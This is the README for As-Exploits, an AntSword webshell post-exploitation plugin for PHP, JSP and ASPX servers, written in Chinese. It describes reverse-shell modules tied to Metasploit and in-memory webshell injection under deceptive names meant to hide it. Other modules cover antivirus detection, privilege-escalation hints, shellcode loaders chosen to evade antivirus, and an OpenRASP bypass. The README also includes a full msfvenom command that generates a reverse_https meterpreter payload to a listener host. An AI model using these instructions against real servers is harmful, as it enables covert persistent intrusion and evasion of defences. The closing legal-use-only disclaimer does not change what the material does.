中国蚁剑后渗透框架
详细介绍:http://yzddmr6.tk/posts/as-exploits/
支持类型:php/jsp/aspx
Payload部分很多借鉴了冰蝎跟哥斯拉的实现,向其开发者们表示感谢!
As-Exploits 是 404Team 星链计划2.0中的一环,如果对As-Exploits 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。
模块名称\Shell类型 | PHP | ASPX | JSP |
---|---|---|---|
基本信息 | √ | √ | √ |
反弹Shell | √ | √ | √ |
内存马 | √ | ||
内存马管理 | √ | ||
杀软识别 | √ | √ | √ |
提权辅助 | √ | √ | √ |
屏幕截图 | √ | √ | |
ShellCode加载器 | √ | √ | |
Jar加载器 | √ | ||
Bypass OpenRASP | √ |
获取当前服务端信息。
支持类型:php/jsp/aspx
php
jsp
aspx
跟MSF联动
支持类型:php/jsp/aspx
Payload目前支持以下类型:
-
java/meterpreter/reverse_tcp
-
java/shell/reverse_tcp
-
java/meterpreter/bind_tcp
-
java/shell/bind_tcp
-
php/meterpreter/reverse_tcp
-
php/shell/reverse_tcp
-
php/meterpreter/bind_tcp
-
php/shell/bind_tcp
-
windows/meterpreter/reverse_tcp
-
windows/x64/meterpreter/reverse_tcp
一键打入内存Webshell,由于时间仓促,目前仅支持Servlet型内存马。
支持类型:jsp
可打入的内存马种类:
-
AntSword
-
Behinder
-
Godzilla-Base64
-
reGerog
组件名称为注册的Servlet的名称,可以起一个具有迷惑性的名字来隐藏自己。
其中AntSword类型支持Tomcat(5-9)、Spring。
打入Godzilla-Base64内存马
在哥斯拉中连接成功
支持类型:jsp
- 获取当前Servlet
- 卸载指定Servlet
以Spring为例,首先打入AntSword内存马
获取Servlet,发现已经注入成功,并且在Servlet的第一位。
测试,可以连接成功
选择卸载Servlet
,并输入相关信息
再次获取Servlet,发现内存马已经被卸载
数据来源是key师傅的项目:avList
通过tasklist /svc
获取当前进程列表,识别出其中的杀软。
支持类型:php/jsp/aspx
目前支持手动跟自动两种获取方式:
通过systeminfo
来获取补丁信息,从而给出提权建议。
支持类型:php/jsp/aspx
同样支持手动跟自动两种获取方式。
获取目标当前屏幕截图。
支持类型:jsp/aspx
加载shellcode至内存运行。(shellcode为hex格式,且不能有多余空格或换行)
支持类型:aspx,jsp
以msf为例:msfvenom生成hex格式的shellcode
粘贴进输入框,点击exploit
收到Meterpreter会话
内置两种加载方式,使用之前请务必认真阅读使用说明,否则可能直接将Java进程打挂。
需要注意两点:
- 使用MSF需要加上
PrependMigrate=true PrependMigrateProc=xxxx.exe
参数,自动迁移到新的进程,否则会在migrate/exit的时候把Java进程给干掉,导致网站瘫痪。例如:msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.88.129 LPORT=8888 PrependMigrate=true PrependMigrateProc=svchost.exe -f hex
- JNA方式只需要X86类型的ShellCode即可,而Attach方式需要根据目标Java位数来选择对应的ShellCode。
利用第三方库JNA进行ShellCode的加载。 适用范围:JDK>=1.5
- 首先利用Jar加载器将
ShellCodeLoader.jar
上传到目标服务器目录并加载。 - 使用MSF或者CS生成x86类型的shellcode,并开启监听。
- 在ShellCode加载器模块,输入hex或者java格式的shellcode,且不能有多余换行跟空格。
- 点击exploit,等待返回回话。
模拟java agent注入过程来实现Shellcode的加载。这个native方法是jdk自带的,并且经过oracle签名的,免杀效果更好。 适用范围:JDK>=1.6
- 基本信息,exploit,Ctrl+F 搜索
sun.arch.data.model
,查看java位数 - 根据java位数生成对应位数的shellcode,并开启监听。
- 在ShellCode加载器模块,输入hex或者java格式的shellcode,且不能有多余换行跟空格。
- 点击exploit,等待返回回话。
加载Jar到JVM内存中。可用于上传数据库驱动等。
支持类型:jsp
直接通过HTTP包将Jar打入目标内存,仅需选择本地需要上传的Jar文件即可,期间文件不落地。但是Tomcat默认POST最大上传大小为2M,如果超过了此大小请选择手动上传模式。
先手动将Jar上传到目标服务器上,然后通过路径加载。
借鉴自哥斯拉的插件:Godzilla-BypassOpenRasp
一键绕过OpenRASP
目标安装有OpenRASP且开启命令执行拦截
exploit!
再次运行,即可执行命令
- equals支持数组传参方式,兼容各种容器
- jsp新增 ShellCode加载器模块,内置两种分别基于jna跟java agent的shellcode加载方式
- jsp新增 Bypass OpenRASP 模块,thx@Godzilla
- JarLoader模块 新增手动上传方式,解决因Tomcat最大POST长度为2m导致无法加载内存Jar的问题
- reGeorg内存马改为更稳定的neo-reGerog,默认密码:asexploits
- 冰蝎内存马支持3.7,去除pageContext依赖,兼容Spring等容器
- 各模块兼容JDK5
- aspx增加
屏幕截图
模块 - jsp增加
Jar加载器
模块。直接打入内存,文件不落地。 - 支持返回包加密
内存马管理
模块支持Tomcat(5-9)、Spring内存马
模块中AntSword
类型支持Tomcat(5-9)、Spring- 报错信息优化
- 增加对aspx类型的支持
- 增加
提权辅助
模块(aspx/jsp/php) - 增加
屏幕截图
模块(jsp) - 增加
shellcode加载器
模块(aspx) - 仅展示当前类型可用模块,不可用模块不再显示
- release
本插件仅供合法的渗透测试以及爱好者参考学习,请勿用于非法用途,否则自行承担相关责任。